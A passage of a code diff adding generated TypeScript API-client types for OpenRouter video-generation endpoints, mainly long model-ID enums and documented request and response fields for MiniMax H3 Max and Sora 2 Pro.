'mistralai/mistral-small-2603', + 'mistralai/mistral-small-3.1-24b-instruct': + 'mistralai/mistral-small-3.1-24b-instruct', + 'mistralai/mistral-small-3.2-24b-instruct': + 'mistralai/mistral-small-3.2-24b-instruct', + 'mistralai/mixtral-8x22b-instruct': 'mistralai/mixtral-8x22b-instruct', + 'mistralai/voxtral-small-24b-2507': 'mistralai/voxtral-small-24b-2507', + 'moondream/moondream3.1-9b-a2b': 'moondream/moondream3.1-9b-a2b', + 'moondream/moondream3-preview': 'moondream/moondream3-preview', + 'moonshotai/kimi-k2': 'moonshotai/kimi-k2', + 'moonshotai/kimi-k2-0905': 'moonshotai/kimi-k2-0905', + 'moonshotai/kimi-k2.5': 'moonshotai/kimi-k2.5', + 'moonshotai/kimi-k2.6': 'moonshotai/kimi-k2.6', + 'moonshotai/kimi-k2.7-code': 'moonshotai/kimi-k2.7-code', + 'moonshotai/kimi-k2-thinking': 'moonshotai/kimi-k2-thinking', + 'moonshotai/kimi-k3': 'moonshotai/kimi-k3', + 'moonshotai/kimi-k3.1-pro': 'moonshotai/kimi-k3.1-pro', + 'moonshotai/kimi-k3:batch': 'moonshotai/kimi-k3:batch', + '~moonshotai/kimi-latest': '~moonshotai/kimi-latest', + 'morph/morph-v3-fast': 'morph/morph-v3-fast', + 'morph/morph-v3-fast:batch': 'morph/morph-v3-fast:batch', + 'morph/morph-v3-large': 'morph/morph-v3-large', + 'morph/morph-v3-large:batch': 'morph/morph-v3-large:batch', + 'nex-agi/nex-n2.5-mini': 'nex-agi/nex-n2.5-mini', + 'nex-agi/nex-n2.5-pro': 'nex-agi/nex-n2.5-pro', + 'nousresearch/hermes-4-405b': 'nousresearch/hermes-4-405b', + 'nvidia/nemotron-3.5-content-safety': 'nvidia/nemotron-3.5-content-safety', + 'nvidia/nemotron-3.5-lightning': 'nvidia/nemotron-3.5-lightning', + 'nvidia/nemotron-3.5-lightning:free': 'nvidia/nemotron-3.5-lightning:free', + 'nvidia/nemotron-3.5-super-vl': 'nvidia/nemotron-3.5-super-vl', + 'nvidia/nemotron-3.5-super-vl:free': 'nvidia/nemotron-3.5-super-vl:free', + 'nvidia/nemotron-3-nano-30b-a3b': 'nvidia/nemotron-3-nano-30b-a3b', + 'nvidia/nemotron-3-nano-omni-30b-a3b-reasoning:free': + 'nvidia/nemotron-3-nano-omni-30b-a3b-reasoning:free', + 'nvidia/nemotron-3-super-120b-a12b': 'nvidia/nemotron-3-super-120b-a12b', + 'nvidia/nemotron-3-ultra-550b-a55b': 'nvidia/nemotron-3-ultra-550b-a55b', + 'nvidia/nemotron-3-ultra-550b-a55b:free': + 'nvidia/nemotron-3-ultra-550b-a55b:free', + 'nvidia/switchyard': 'nvidia/switchyard', + 'openai/gpt-3.5-turbo-0613': 'openai/gpt-3.5-turbo-0613', + 'openai/gpt-3.5-turbo-16k': 'openai/gpt-3.5-turbo-16k', + 'openai/gpt-4': 'openai/gpt-4', + 'openai/gpt-4.1': 'openai/gpt-4.1', + 'openai/gpt-4.1:batch': 'openai/gpt-4.1:batch', + 'openai/gpt-4.1-mini': 'openai/gpt-4.1-mini', + 'openai/gpt-4.1-mini:batch': 'openai/gpt-4.1-mini:batch', + 'openai/gpt-4.1-nano': 'openai/gpt-4.1-nano', + 'openai/gpt-4.1-nano:batch': 'openai/gpt-4.1-nano:batch', + 'openai/gpt-4-turbo:batch': 'openai/gpt-4-turbo:batch', + 'openai/gpt-4o': 'openai/gpt-4o', + 'openai/gpt-4o-2024-05-13': 'openai/gpt-4o-2024-05-13', + 'openai/gpt-4o-2024-08-06': 'openai/gpt-4o-2024-08-06', + 'openai/gpt-4o-2024-11-20': 'openai/gpt-4o-2024-11-20', + 'openai/gpt-4o:batch': 'openai/gpt-4o:batch', + 'openai/gpt-4o-mini': 'openai/gpt-4o-mini', + 'openai/gpt-4o-mini-2024-07-18': 'openai/gpt-4o-mini-2024-07-18', + 'openai/gpt-4o-mini:batch': 'openai/gpt-4o-mini:batch', + 'openai/gpt-5': 'openai/gpt-5', + 'openai/gpt-5.1': 'openai/gpt-5.1', + 'openai/gpt-5.1:batch': 'openai/gpt-5.1:batch', + 'openai/gpt-5.1-codex': 'openai/gpt-5.1-codex', + 'openai/gpt-5.1-codex-max': 'openai/gpt-5.1-codex-max', + 'openai/gpt-5.1-codex-mini': 'openai/gpt-5.1-codex-mini', + 'openai/gpt-5.2': 'openai/gpt-5.2', + 'openai/gpt-5.2:batch': 'openai/gpt-5.2:batch', + 'openai/gpt-5.2-chat': 'openai/gpt-5.2-chat', + 'openai/gpt-5.2-codex': 'openai/gpt-5.2-codex', + 'openai/gpt-5.2-pro': 'openai/gpt-5.2-pro', + 'openai/gpt-5.2-pro:batch': 'openai/gpt-5.2-pro:batch', + 'openai/gpt-5.3-codex': 'openai/gpt-5.3-codex', + 'openai/gpt-5.4': 'openai/gpt-5.4', + 'openai/gpt-5.4:batch': 'openai/gpt-5.4:batch', + 'openai/gpt-5.4-image-2': 'openai/gpt-5.4-image-2', + 'openai/gpt-5.4-mini': 'openai/gpt-5.4-mini', + 'openai/gpt-5.4-mini:batch': 'openai/gpt-5.4-mini:batch', + 'openai/gpt-5.4-nano': 'openai/gpt-5.4-nano', + 'openai/gpt-5.4-nano:batch': 'openai/gpt-5.4-nano:batch', + 'openai/gpt-5.4-pro': 'openai/gpt-5.4-pro', + 'openai/gpt-5.4-pro:batch': 'openai/gpt-5.4-pro:batch', + 'openai/gpt-5.5': 'openai/gpt-5.5', + 'openai/gpt-5.5:batch': 'openai/gpt-5.5:batch', + 'openai/gpt-5.5-pro': 'openai/gpt-5.5-pro', + 'openai/gpt-5.5-pro:batch': 'openai/gpt-5.5-pro:batch', + 'openai/gpt-5.6-luna': 'openai/gpt-5.6-luna', + 'openai/gpt-5.6-luna:batch': 'openai/gpt-5.6-luna:batch', + 'openai/gpt-5.6-luna-pro': 'openai/gpt-5.6-luna-pro', + 'openai/gpt-5.6-luna-pro:batch': 'openai/gpt-5.6-luna-pro:batch', + 'openai/gpt-5.6-sol': 'openai/gpt-5.6-sol', + 'openai/gpt-5.6-sol:batch': 'openai/gpt-5.6-sol:batch', + 'openai/gpt-5.6-sol-pro': 'openai/gpt-5.6-sol-pro', + 'openai/gpt-5.6-sol-pro:batch': 'openai/gpt-5.6-sol-pro:batch', + 'openai/gpt-5.6-terra': 'openai/gpt-5.6-terra', + 'openai/gpt-5.6-terra:batch': 'openai/gpt-5.6-terra:batch', + 'openai/gpt-5.6-terra-pro': 'openai/gpt-5.6-terra-pro', + 'openai/gpt-5.6-terra-pro:batch': 'openai/gpt-5.6-terra-pro:batch', + 'openai/gpt-5:batch': 'openai/gpt-5:batch', + 'openai/gpt-5-image': 'openai/gpt-5-image', + 'openai/gpt-5-image-mini': 'openai/gpt-5-image-mini', + 'openai/gpt-5-mini': 'openai/gpt-5-mini', + 'openai/gpt-5-mini:batch': 'openai/gpt-5-mini:batch', + 'openai/gpt-5-nano': 'openai/gpt-5-nano', + 'openai/gpt-5-nano:batch': 'openai/gpt-5-nano:batch', + 'openai/gpt-5-pro': 'openai/gpt-5-pro', + 'openai/gpt-5-pro:batch': 'openai/gpt-5-pro:batch', + 'openai/gpt-6.1-sol': 'openai/gpt-6.1-sol', + 'openai/gpt-6.1-sol:batch': 'openai/gpt-6.1-sol:batch', + 'openai/gpt-6.1-sol-pro': 'openai/gpt-6.1-sol-pro', + 'openai/gpt-6.1-sol-pro:batch': 'openai/gpt-6.1-sol-pro:batch', + 'openai/gpt-6.1-terra': 'openai/gpt-6.1-terra', + 'openai/gpt-6.1-terra:batch': 'openai/gpt-6.1-terra:batch', + 'openai/gpt-6.1-terra-pro': 'openai/gpt-6.1-terra-pro', + 'openai/gpt-6.1-terra-pro:batch': 'openai/gpt-6.1-terra-pro:batch', + 'openai/gpt-6-astra': 'openai/gpt-6-astra', + 'openai/gpt-6-astra:batch': 'openai/gpt-6-astra:batch', + 'openai/gpt-6-astra-pro': 'openai/gpt-6-astra-pro', + 'openai/gpt-6-astra-pro:batch': 'openai/gpt-6-astra-pro:batch', + 'openai/gpt-6-luna': 'openai/gpt-6-luna', + 'openai/gpt-6-luna:batch': 'openai/gpt-6-luna:batch', + 'openai/gpt-6-luna-pro': 'openai/gpt-6-luna-pro', + 'openai/gpt-6-luna-pro:batch': 'openai/gpt-6-luna-pro:batch', + 'openai/gpt-6-sol': 'openai/gpt-6-sol', + 'openai/gpt-6-sol:batch': 'openai/gpt-6-sol:batch', + 'openai/gpt-6-sol-pro': 'openai/gpt-6-sol-pro', + 'openai/gpt-6-sol-pro:batch': 'openai/gpt-6-sol-pro:batch', + '~openai/gpt-astra-latest': '~openai/gpt-astra-latest', + 'openai/gpt-audio': 'openai/gpt-audio', + 'openai/gpt-audio-mini': 'openai/gpt-audio-mini', + 'openai/gpt-chat-latest': 'openai/gpt-chat-latest', + '~openai/gpt-luna-latest': '~openai/gpt-luna-latest', + '~openai/gpt-mini-latest': '~openai/gpt-mini-latest', + 'openai/gpt-oss-120b': 'openai/gpt-oss-120b', + 'openai/gpt-oss-120b:batch': 'openai/gpt-oss-120b:batch', + 'openai/gpt-oss-20b': 'openai/gpt-oss-20b', + 'openai/gpt-oss-20b:batch': 'openai/gpt-oss-20b:batch', + 'openai/gpt-oss-safeguard-20b': 'openai/gpt-oss-safeguard-20b', + '~openai/gpt-sol-latest': '~openai/gpt-sol-latest', + '~openai/gpt-terra-latest': '~openai/gpt-terra-latest', + 'openai/o3': 'openai/o3', + 'openai/o3:batch': 'openai/o3:batch', + 'openai/o3-mini:batch': 'openai/o3-mini:batch', + 'openai/o3-pro': 'openai/o3-pro', + 'openai/o4-mini:batch': 'openai/o4-mini:batch', + 'openrouter/auto': 'openrouter/auto', + 'openrouter/auto-beta': 'openrouter/auto-beta', + 'openrouter/auto-code': 'openrouter/auto-code', + 'openrouter/bodybuilder': 'openrouter/bodybuilder', + 'openrouter/free': 'openrouter/free', + 'openrouter/fusion': 'openrouter/fusion', + 'openrouter/pareto-code': 'openrouter/pareto-code', + 'particle-ai/particle-1': 'particle-ai/particle-1', + 'perceptron/perceptron-mk1': 'perceptron/perceptron-mk1', + 'perceptron/perceptron-mk1.5': 'perceptron/perceptron-mk1.5', + 'perplexity/sonar': 'perplexity/sonar', + 'perplexity/sonar-deep-research': 'perplexity/sonar-deep-research', + 'perplexity/sonar-pro': 'perplexity/sonar-pro', + 'perplexity/sonar-pro-search': 'perplexity/sonar-pro-search', + 'perplexity/sonar-reasoning-pro': 'perplexity/sonar-reasoning-pro', + 'prism-ml/ternary-bonsai-2-27b': 'prism-ml/ternary-bonsai-2-27b', + 'prism-ml/ternary-bonsai-2-9b': 'prism-ml/ternary-bonsai-2-9b', + 'qwen/qwen-2.5-72b-instruct': 'qwen/qwen-2.5-72b-instruct', + 'qwen/qwen-2.5-7b-instruct': 'qwen/qwen-2.5-7b-instruct', + 'qwen/qwen-2.5-coder-32b-instruct': 'qwen/qwen-2.5-coder-32b-instruct', + 'qwen/qwen-plus': 'qwen/qwen-plus', + 'qwen/qwen2.5-vl-72b-instruct': 'qwen/qwen2.5-vl-72b-instruct', + 'qwen/qwen3-14b': 'qwen/qwen3-14b', + 'qwen/qwen3-235b-a22b-2507': 'qwen/qwen3-235b-a22b-2507', + 'qwen/qwen3-235b-a22b-thinking-2507': 'qwen/qwen3-235b-a22b-thinking-2507', + 'qwen/qwen3-30b-a3b': 'qwen/qwen3-30b-a3b', + 'qwen/qwen3-30b-a3b-instruct-2507': 'qwen/qwen3-30b-a3b-instruct-2507', + 'qwen/qwen3-32b': 'qwen/qwen3-32b', + 'qwen/qwen3.5-122b-a10b': 'qwen/qwen3.5-122b-a10b', + 'qwen/qwen3.5-27b': 'qwen/qwen3.5-27b', + 'qwen/qwen3.5-35b-a3b': 'qwen/qwen3.5-35b-a3b', + 'qwen/qwen3.5-397b-a17b': 'qwen/qwen3.5-397b-a17b', + 'qwen/qwen3.5-9b': 'qwen/qwen3.5-9b', + 'qwen/qwen3.5-flash-02-23': 'qwen/qwen3.5-flash-02-23', + 'qwen/qwen3.5-plus-02-15': 'qwen/qwen3.5-plus-02-15', + 'qwen/qwen3.5-plus-20260420': 'qwen/qwen3.5-plus-20260420', + 'qwen/qwen3.6-27b': 'qwen/qwen3.6-27b', + 'qwen/qwen3.6-35b-a3b': 'qwen/qwen3.6-35b-a3b', + 'qwen/qwen3.6-flash': 'qwen/qwen3.6-flash', + 'qwen/qwen3.6-plus': 'qwen/qwen3.6-plus', + 'qwen/qwen3.7-flash': 'qwen/qwen3.7-flash', + 'qwen/qwen3.7-max': 'qwen/qwen3.7-max', + 'qwen/qwen3.7-plus': 'qwen/qwen3.7-plus', + 'qwen/qwen3.7-plus:batch': 'qwen/qwen3.7-plus:batch', + 'qwen/qwen3.8-2.4t-a95b': 'qwen/qwen3.8-2.4t-a95b', + 'qwen/qwen3.8-27b': 'qwen/qwen3.8-27b', + 'qwen/qwen3.8-27b:batch': 'qwen/qwen3.8-27b:batch', + 'qwen/qwen3.8-flash': 'qwen/qwen3.8-flash', + 'qwen/qwen3.8-max-0902': 'qwen/qwen3.8-max-0902', + 'qwen/qwen3.8-max-prime': 'qwen/qwen3.8-max-prime', + 'qwen/qwen3.8-omni-flash': 'qwen/qwen3.8-omni-flash', + 'qwen/qwen3-coder': 'qwen/qwen3-coder', + 'qwen/qwen3-coder-30b-a3b-instruct': 'qwen/qwen3-coder-30b-a3b-instruct', + 'qwen/qwen3-coder-flash': 'qwen/qwen3-coder-flash', + 'qwen/qwen3-coder-next': 'qwen/qwen3-coder-next', + 'qwen/qwen3-next-80b-a3b-instruct': 'qwen/qwen3-next-80b-a3b-instruct', + 'qwen/qwen3-vl-235b-a22b-instruct': 'qwen/qwen3-vl-235b-a22b-instruct', + 'qwen/qwen3-vl-30b-a3b-instruct': 'qwen/qwen3-vl-30b-a3b-instruct', + 'qwen/qwen3-vl-30b-a3b-thinking': 'qwen/qwen3-vl-30b-a3b-thinking', + 'qwen/qwen3-vl-8b-instruct': 'qwen/qwen3-vl-8b-instruct', + 'recursive/flint-v1.0:free': 'recursive/flint-v1.0:free', + 'reflection/beam-1.0-501b-a23b': 'reflection/beam-1.0-501b-a23b', + 'rekaai/reka-edge': 'rekaai/reka-edge', + 'rekaai/reka-flash-3': 'rekaai/reka-flash-3', + 'relace/relace-apply-3': 'relace/relace-apply-3', + 'relace/relace-search': 'relace/relace-search', + 'ricursiveai/ripple-65b-preview': 'ricursiveai/ripple-65b-preview', + 'sakana/fugu-max': 'sakana/fugu-max', + 'sakana/fugu-ultra': 'sakana/fugu-ultra', + 'sakana/fugu-ultra-v2': 'sakana/fugu-ultra-v2', + 'sakana/sakana-namazu': 'sakana/sakana-namazu', + 'sao10k/l3.1-euryale-70b': 'sao10k/l3.1-euryale-70b', + 'sao10k/l3-lunaris-8b': 'sao10k/l3-lunaris-8b', + 'scaledown/extract': 'scaledown/extract', + 'scaledown/summarize': 'scaledown/summarize', + 'stealth/crouton-alpha': 'stealth/crouton-alpha', + 'stepfun/step-3.5-flash': 'stepfun/step-3.5-flash', + 'stepfun/step-3.7-flash': 'stepfun/step-3.7-flash', + 'stepfun/step-5-preview': 'stepfun/step-5-preview', + 'tencent/hunyuan-a13b-instruct': 'tencent/hunyuan-a13b-instruct', + 'tencent/hy-mt2-1.8b': 'tencent/hy-mt2-1.8b', + 'tencent/hy-mt2-30b-a3b': 'tencent/hy-mt2-30b-a3b', + 'tencent/hy-mt2-7b': 'tencent/hy-mt2-7b', + 'tencent/hy3': 'tencent/hy3', + 'tencent/hy3-preview': 'tencent/hy3-preview', + 'tencent/hy4': 'tencent/hy4', + 'tencent/hy4-preview': 'tencent/hy4-preview', + 'thedrummer/cydonia-24b-v4.1': 'thedrummer/cydonia-24b-v4.1', + 'thedrummer/skyfall-36b-v2': 'thedrummer/skyfall-36b-v2', + 'thedrummer/unslopnemo-12b': 'thedrummer/unslopnemo-12b', + 'thinkingmachines/inkling': 'thinkingmachines/inkling', + 'thinkingmachines/inkling-small': 'thinkingmachines/inkling-small', + 'thinkingmachines/inkling-small:batch': + 'thinkingmachines/inkling-small:batch', + 'typesafe/jev-router': 'typesafe/jev-router', + 'unbiased/pareto-26.10': 'unbiased/pareto-26.10', + 'unbiased/pareto-26.9': 'unbiased/pareto-26.9', + '~unbiased/pareto-latest': '~unbiased/pareto-latest', + 'undi95/remm-slerp-l2-13b': 'undi95/remm-slerp-l2-13b', + 'upstage/solar-mini4': 'upstage/solar-mini4', + 'upstage/solar-pro4': 'upstage/solar-pro4', + 'writer/palmyra-x5': 'writer/palmyra-x5', + 'x-ai/grok-4.20': 'x-ai/grok-4.20', + 'x-ai/grok-4.20-multi-agent': 'x-ai/grok-4.20-multi-agent', + 'x-ai/grok-4.3': 'x-ai/grok-4.3', + 'x-ai/grok-4.3:batch': 'x-ai/grok-4.3:batch', + 'x-ai/grok-4.5': 'x-ai/grok-4.5', + 'x-ai/grok-4.6': 'x-ai/grok-4.6', + 'x-ai/grok-4.6:batch': 'x-ai/grok-4.6:batch', + 'x-ai/grok-4.7': 'x-ai/grok-4.7', + 'x-ai/grok-4.7:batch': 'x-ai/grok-4.7:batch', + 'x-ai/grok-build-0.1': 'x-ai/grok-build-0.1', + '~x-ai/grok-latest': '~x-ai/grok-latest', + 'xiaomi/mimo-v2.5': 'xiaomi/mimo-v2.5', + 'xiaomi/mimo-v2.5-pro': 'xiaomi/mimo-v2.5-pro', + 'xiaomi/mimo-v2.6-flash': 'xiaomi/mimo-v2.6-flash', + 'xiaomi/mimo-v2.6-pro': 'xiaomi/mimo-v2.6-pro', + 'xiaomi/mimo-v2.6-pro-ultraspeed': 'xiaomi/mimo-v2.6-pro-ultraspeed', + 'xingchen-agi/xing4.0-29b-a4b:free': 'xingchen-agi/xing4.0-29b-a4b:free', + 'z-ai/glm-4.5': 'z-ai/glm-4.5', + 'z-ai/glm-4.5-air': 'z-ai/glm-4.5-air', + 'z-ai/glm-4.5v': 'z-ai/glm-4.5v', + 'z-ai/glm-4.6': 'z-ai/glm-4.6', + 'z-ai/glm-4.6v': 'z-ai/glm-4.6v', + 'z-ai/glm-4.7': 'z-ai/glm-4.7', + 'z-ai/glm-4.7-flash': 'z-ai/glm-4.7-flash', + 'z-ai/glm-5': 'z-ai/glm-5', + 'z-ai/glm-5.1': 'z-ai/glm-5.1', + 'z-ai/glm-5.2': 'z-ai/glm-5.2', + 'z-ai/glm-5.2:batch': 'z-ai/glm-5.2:batch', + 'z-ai/glm-5.3': 'z-ai/glm-5.3', + 'z-ai/glm-5.3:batch': 'z-ai/glm-5.3:batch', + 'z-ai/glm-5.3-flash': 'z-ai/glm-5.3-flash', + 'z-ai/glm-5.3-flash:batch': 'z-ai/glm-5.3-flash:batch', + 'z-ai/glm-5.3-flashx': 'z-ai/glm-5.3-flashx', + 'z-ai/glm-5.3-flashx-legal': 'z-ai/glm-5.3-flashx-legal', + 'z-ai/glm-5.3-prime': 'z-ai/glm-5.3-prime', + 'z-ai/glm-5-turbo': 'z-ai/glm-5-turbo', + 'z-ai/glm-5v-turbo': 'z-ai/glm-5v-turbo', + '~z-ai/glm-flash-latest': '~z-ai/glm-flash-latest', + '~z-ai/glm-latest': '~z-ai/glm-latest', +} as const + +export type OpenrouterPostVideosMinimaxHailuo3MaxRequestModelEnumKey = + (typeof openrouterPostVideosMinimaxHailuo3MaxRequestModelEnum)[keyof typeof openrouterPostVideosMinimaxHailuo3MaxRequestModelEnum] + +export const openrouterPostVideosMinimaxHailuo3MaxRequestResolutionEnum = { + '768p': '768p', + '480p': '480p', +} as const + +export type OpenrouterPostVideosMinimaxHailuo3MaxRequestResolutionEnumKey = + (typeof openrouterPostVideosMinimaxHailuo3MaxRequestResolutionEnum)[keyof typeof openrouterPostVideosMinimaxHailuo3MaxRequestResolutionEnum] + +/** + * @description MiniMax: H3 Max (minimax/hailuo-3-max) — model-constrained video generation request. MiniMax H3 Max is a video-generation model from MiniMax, jointly released with fal.ai. Derived through additional training from MiniMax H3, it is designed for faster text-to-video and image-to-video generation with... + * @example {"aspect_ratio":"16:9","duration":8,"model":"google/veo-3.1","prompt":"A serene mountain landscape at sunset","resolution":"720p"} + * @type object + */ +export type OpenrouterPostVideosMinimaxHailuo3MaxBody = { + /** + * @description Aspect ratio of the generated video + * @example 16:9 + * @type string | undefined + */ + aspect_ratio?: OpenrouterPostVideosMinimaxHailuo3MaxRequestAspectRatioEnumKey + /** + * @description URL to receive a webhook notification when the video generation job completes. Overrides the workspace-level default callback URL if set. Must be HTTPS. + * + * Format: `uri` + * @example https://example.com/webhook + * @type string | undefined + */ + callback_url?: string + /** + * @description Creativity level for video upscaling models only. This parameter is not supported by video generation models. + * @example 1 + * @type integer | undefined + */ + creativity?: number + /** + * @description Duration of the generated video in seconds + * @example 8 + * @type number | undefined + */ + duration?: OpenrouterPostVideosMinimaxHailuo3MaxRequestDurationEnumKey + /** + * @description Images to use as the first and/or last frame of the generated video. Each image must specify a frame_type of first_frame or last_frame. Frame types supported by this model: first_frame, last_frame. + * @type array | undefined + */ + frame_images?: FrameImage[] + /** + * @description Reference assets to guide video generation. Accepts image, audio, and video references. Audio and video references are only honored by providers that support them (including BytePlus Seedance generation 2 and newer); other providers use image references and ignore the rest. + * @type array | undefined + */ + input_references?: InputReference[] + /** + * @description Model id (fixed for this model-constrained schema) + * @type string + */ + model: OpenrouterPostVideosMinimaxHailuo3MaxRequestModelEnumKey + /** + * @description ID of a completed video job to edit or extend, as returned by the submit response. The new job runs on the same model and endpoint that produced the previous one. Only models that support continuation accept this field. + * @pattern ^gen-vid-\d+-[0-9A-Za-z]{20}$ + * @example gen-vid-1789493115-a1B2c3D4e5F6g7H8i9J0 + * @type string | undefined + */ + previous_job_id?: string + /** + * @description Text prompt describing the video to generate. Optional for models that support generating a video from image input alone; required by all other models. + * @example A serene mountain landscape at sunset + * @type string | undefined + */ + prompt?: string + /** + * @description Provider routing preferences (order, only, ignore) and provider-specific passthrough configuration Passthrough parameters allowed for this model: aigc_watermark. + * @type object | undefined + */ + provider?: { + /** + * @description List of provider slugs to ignore. If provided, this list is merged with your account-wide ignored provider settings for this request. + * @example ["openai","anthropic"] + * @type array | undefined + */ + ignore?: (ProviderNameKey | string)[] | null + /** + * @description List of provider slugs to allow. If provided, this list is merged with your account-wide allowed provider settings for this request. + * @example ["openai","anthropic"] + * @type array | undefined + */ + only?: (ProviderNameKey | string)[] | null + /** + * @description Provider-specific options keyed by provider slug. The provider segment is case-insensitive; an endpoint tag after `/` must match the endpoint slug exactly. Only options for the matched provider are forwarded; the rest are ignored. Unrecognized keys are silently dropped. + * @example {"google-vertex":{"output_config":{"effort":"low"}}} + * @type object | undefined + */ + options?: ProviderOptions + /** + * @description An ordered list of provider slugs. The router will attempt to use the first provider in the subset of this list that supports your requested model, and fall back to the next if it is unavailable. If no providers are available, the request will fail with an error message. + * @example ["openai","anthropic"] + * @type array | undefined + */ + order?: (ProviderNameKey | string)[] | null + } + /** + * @description Resolution of the generated video + * @example 720p + * @type string | undefined + */ + resolution?: OpenrouterPostVideosMinimaxHailuo3MaxRequestResolutionEnumKey + /** + * @description A unique identifier for grouping related requests (e.g., a conversation or agent workflow). Used for observability grouping in Broadcast and private logging; never sent to the provider. If provided in both the request body and the x-session-id header, the body value takes precedence. Maximum of 256 characters. + * @maxLength 256 + * @example session-1234 + * @type string | undefined + */ + session_id?: string + /** + * @description Exact pixel dimensions of the generated video in "WIDTHxHEIGHT" format (e.g. "1280x720"). Interchangeable with resolution + aspect_ratio. + * @example 1280x720 + * @type string | undefined + */ + size?: string + /** + * @description Metadata for observability and tracing. Known keys (trace_id, trace_name, span_name, generation_name, parent_span_id) have special handling. Additional keys are passed through as custom metadata to configured broadcast destinations. + * @example {"trace_id":"trace-abc123","trace_name":"my-app-trace"} + * @type object | undefined + */ + trace?: TraceConfig + /** + * @description Upscale factor for video upscaling models only. This parameter is not supported by video generation models. + * + * Format: `double` + * @minimum 0 + * @example 2 + * @type number | undefined + */ + upscale_factor?: number + /** + * @description A unique identifier representing your end-user. Forwarded to Broadcast and private logging as the end-user id; never sent to the provider. + * @maxLength 256 + * @example user-1234 + * @type string | undefined + */ + user?: string +} + +export type OpenrouterPostVideosMinimaxHailuo3MaxOptions = { + body: OpenrouterPostVideosMinimaxHailuo3MaxBody + path?: never + query?: never + headers?: never +} + +export type OpenrouterPostVideosMinimaxHailuo3MaxResponses = { + '200': OpenrouterPostVideosMinimaxHailuo3MaxStatus200 +} + +/** + * @description Union of all possible responses + */ +export type OpenrouterPostVideosMinimaxHailuo3MaxResponse = + OpenrouterPostVideosMinimaxHailuo3MaxStatus200 + +export const openrouterPostVideosOpenaiSora2ProStatus200StatusEnum = { + pending: 'pending', + in_progress: 'in_progress', + completed: 'completed', + failed: 'failed', + cancelled: 'cancelled', + expired: 'expired', +} as const + +export type OpenrouterPostVideosOpenaiSora2ProStatus200StatusEnumKey = + (typeof openrouterPostVideosOpenaiSora2ProStatus200StatusEnum)[keyof typeof openrouterPostVideosOpenaiSora2ProStatus200StatusEnum] + +/** + * @example {"generation_id":"gen-vid-1789480874-Ab3dEf9hIjKlMnOpQrSt","id":"gen-vid-1789480874-Ab3dEf9hIjKlMnOpQrSt","polling_url":"/api/v1/videos/gen-vid-1789480874-Ab3dEf9hIjKlMnOpQrSt","status":"pending"} + * @type object + */ +export type OpenrouterPostVideosOpenaiSora2ProStatus200 = { + error?: string + /** + * @description The generation ID associated with this video generation job. Available once the job has been processed. + * @type string | undefined + */ + generation_id?: string + /** + * @description The video job ID, in the `gen-vid--<20 alphanumerics>` generation ID format. Pass it as `previous_job_id` to continue the generation. + * @type string + */ + id: string + polling_url: string + status: OpenrouterPostVideosOpenaiSora2ProStatus200StatusEnumKey + unsigned_urls?: string[] + /** + * @description Usage and cost information for the video generation. Available once the job has completed. + * @example {"cost":0.5,"is_byok":false} + * @type object | undefined + */ + usage?: VideoGenerationUsage +} + +export const openrouterPostVideosOpenaiSora2ProRequestAspectRatioEnum = { + '16:9': '16:9', + '9:16': '9:16', +} as const + +export type OpenrouterPostVideosOpenaiSora2ProRequestAspectRatioEnumKey = + (typeof openrouterPostVideosOpenaiSora2ProRequestAspectRatioEnum)[keyof typeof openrouterPostVideosOpenaiSora2ProRequestAspectRatioEnum] + +export const openrouterPostVideosOpenaiSora2ProRequestDurationEnum = { + '4': 4, + '8': 8, + '12': 12, + '16': 16, + '20': 20, +} as const + +export type OpenrouterPostVideosOpenaiSora2ProRequestDurationEnumKey = + (typeof openrouterPostVideosOpenaiSora2ProRequestDurationEnum)[keyof typeof openrouterPostVideosOpenaiSora2ProRequestDurationEnum] + +export const openrouterPostVideosOpenaiSora2ProRequestModelEnum = { + 'aion-labs/aion-2.0': 'aion-labs/aion-2.0', + 'aion-labs/aion-3.0': 'aion-labs/aion-3.0', + 'aion-labs/aion-3.0-mini': 'aion-labs/aion-3.0-mini', + 'aion-labs/aion-3.5': 'aion-labs/aion-3.5', + 'aion-labs/aion-3.5-mini': 'aion-labs/aion-3.5-mini', + 'aion-labs/aion-rp-llama-3.1-8b': 'aion-labs/aion-rp-llama-3.1-8b', + 'amazon/nova-2-lite-v1': 'amazon/nova-2-lite-v1', + 'amazon/nova-lite-v1': 'amazon/nova-lite-v1', + 'amazon/nova-micro-v1': 'amazon/nova-micro-v1', + 'amazon/nova-premier-v1': 'amazon/nova-premier-v1', + 'amazon/nova-pro-v1': 'amazon/nova-pro-v1', + 'anthracite-org/magnum-v4-72b': 'anthracite-org/magnum-v4-72b', + 'anthropic/claude-fable-5': 'anthropic/claude-fable-5', + 'anthropic/claude-fable-5.1': 'anthropic/claude-fable-5.1', + 'anthropic/claude-fable-5.1:batch': 'anthropic/claude-fable-5.1:batch', + 'anthropic/claude-fable-5:batch': 'anthropic/claude-fable-5:batch', + '~anthropic/claude-fable-latest': '~anthropic/claude-fable-latest', + 'anthropic/claude-haiku-4.5': 'anthropic/claude-haiku-4.5', + 'anthropic/claude-haiku-4.5:batch': 'anthropic/claude-haiku-4.5:batch', + 'anthropic/claude-haiku-5.5': 'anthropic/claude-haiku-5.5', + 'anthropic/claude-haiku-5.5:batch': 'anthropic/claude-haiku-5.5:batch', + '~anthropic/claude-haiku-latest': '~anthropic/claude-haiku-latest', + 'anthropic/claude-opus-4.1': 'anthropic/claude-opus-4.1', + 'anthropic/claude-opus-4.1:batch': 'anthropic/claude-opus-4.1:batch', + 'anthropic/claude-opus-4.5': 'anthropic/claude-opus-4.5', + 'anthropic/claude-opus-4.5:batch': 'anthropic/claude-opus-4.5:batch', + 'anthropic/claude-opus-4.6': 'anthropic/claude-opus-4.6', + 'anthropic/claude-opus-4.6:batch': 'anthropic/claude-opus-4.6:batch', + 'anthropic/claude-opus-4.7': 'anthropic/claude-opus-4.7', + 'anthropic/claude-opus-4.7:batch': 'anthropic/claude-opus-4.7:batch', + 'anthropic/claude-opus-4.8': 'anthropic/claude-opus-4.8', + 'anthropic/claude-opus-4.8:batch': 'anthropic/claude-opus-4.8:batch', + 'anthropic/claude-opus-5': 'anthropic/claude-opus-5', + 'anthropic/claude-opus-5.5': 'anthropic/claude-opus-5.5', + 'anthropic/claude-opus-5.5:batch': 'anthropic/claude-opus-5.5:batch', + 'anthropic/claude-opus-5:batch': 'anthropic/claude-opus-5:batch', + '~anthropic/claude-opus-latest': '~anthropic/claude-opus-latest', + 'anthropic/claude-sonnet-4.5': 'anthropic/claude-sonnet-4.5', + 'anthropic/claude-sonnet-4.5:batch': 'anthropic/claude-sonnet-4.5:batch', + 'anthropic/claude-sonnet-4.6': 'anthropic/claude-sonnet-4.6', + 'anthropic/claude-sonnet-4.6:batch': 